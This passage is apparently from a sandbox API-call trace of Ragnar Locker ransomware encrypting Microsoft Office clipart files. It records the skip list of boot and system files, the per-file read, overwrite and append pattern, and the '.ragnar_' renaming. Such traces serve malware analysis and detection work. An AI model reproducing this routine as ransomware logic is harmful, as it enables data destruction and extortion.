office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.418] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0088.418] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.418] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00388_.WMF" | out: lpString1="NA00388_.WMF") returned="NA00388_.WMF" [0088.418] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF") returned=".WMF" [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="autorun.inf") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="boot.ini") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="bootfont.bin") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="bootsect.bak") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="bootmgr") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="bootmgr.efi") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="desktop.ini") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="iconcache.db") returned 1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="ntldr") returned -1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="ntuser.dat") returned -1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="ntuser.ini") returned -1 [0088.418] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="thumbs.db") returned -1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.418] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf")) returned 0x20 [0088.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.419] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4466) returned 1 [0088.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1169, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.419] GetProcessHeap () returned 0x580000 [0088.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.419] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.420] VirtualAlloc (lpAddress=0x0, dwSize=0x1172, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.420] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.421] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1172, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1172, lpOverlapped=0x0) returned 1 [0088.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.421] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1172, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.422] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1172, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1172, lpOverlapped=0x0) returned 1 [0088.422] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1172, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.422] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1172, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.422] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.422] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.422] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.422] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.422] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.422] GetProcessHeap () returned 0x580000 [0088.422] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.422] CloseHandle (hObject=0xf4) returned 1 [0088.422] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" [0088.422] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.ragnar_FD7BD9FC" [0088.422] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.423] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0088.423] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.423] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00389_.WMF" | out: lpString1="NA00389_.WMF") returned="NA00389_.WMF" [0088.423] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF") returned=".WMF" [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="autorun.inf") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="boot.ini") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="bootfont.bin") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="bootsect.bak") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="bootmgr") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="bootmgr.efi") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="desktop.ini") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="iconcache.db") returned 1 [0088.423] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="ntldr") returned -1 [0088.424] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="ntuser.dat") returned -1 [0088.424] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.424] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="ntuser.ini") returned -1 [0088.424] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="thumbs.db") returned -1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.424] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf")) returned 0x20 [0088.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.425] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8394) returned 1 [0088.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.425] GetProcessHeap () returned 0x580000 [0088.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.425] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.427] VirtualAlloc (lpAddress=0x0, dwSize=0x20ca, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.427] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20ca, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20ca, lpOverlapped=0x0) returned 1 [0088.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.428] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.428] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20ca, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20ca, lpOverlapped=0x0) returned 1 [0088.428] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.428] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.428] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.428] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.429] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.429] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.429] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.429] GetProcessHeap () returned 0x580000 [0088.429] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.429] CloseHandle (hObject=0xf4) returned 1 [0088.429] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" [0088.429] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.ragnar_FD7BD9FC" [0088.429] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.430] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0088.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.430] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00390_.WMF" | out: lpString1="NA00390_.WMF") returned="NA00390_.WMF" [0088.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF") returned=".WMF" [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="autorun.inf") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="boot.ini") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="bootfont.bin") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="bootsect.bak") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="bootmgr") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="bootmgr.efi") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="desktop.ini") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="iconcache.db") returned 1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="ntldr") returned -1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="ntuser.dat") returned -1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="ntuser.ini") returned -1 [0088.430] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="thumbs.db") returned -1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.430] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf")) returned 0x20 [0088.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8642) returned 1 [0088.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.431] GetProcessHeap () returned 0x580000 [0088.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.431] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.433] VirtualAlloc (lpAddress=0x0, dwSize=0x21c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.433] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x21c2, lpOverlapped=0x0) returned 1 [0088.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.434] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.434] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x21c2, lpOverlapped=0x0) returned 1 [0088.434] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.434] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.434] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.434] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.435] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.435] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.435] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.435] GetProcessHeap () returned 0x580000 [0088.435] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.435] CloseHandle (hObject=0xf4) returned 1 [0088.435] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" [0088.435] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.ragnar_FD7BD9FC" [0088.435] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.436] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 